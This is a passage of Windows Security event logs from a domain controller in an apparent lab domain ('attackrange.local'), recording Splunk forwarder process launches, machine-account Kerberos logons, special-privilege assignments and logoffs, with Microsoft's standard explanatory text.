Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257131
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257132
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x460
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x794
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257133
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x77c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257136
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B6667
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59413

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257135
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B6667

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:11:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257137
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B6667

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:11:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257140
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B7323

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:11:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257139
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B7323
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59421

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:11:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257138
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B7323

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257146
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B766A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257145
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B766A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59425

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257144
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B766A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257143
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B75FE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257142
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B75FE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59424

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257141
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B75FE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257147
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257148
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257149
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257150
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257162
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8C8C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257161
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8D9A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257160
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8DE2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257159
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B928A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59429

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257158
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B928A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
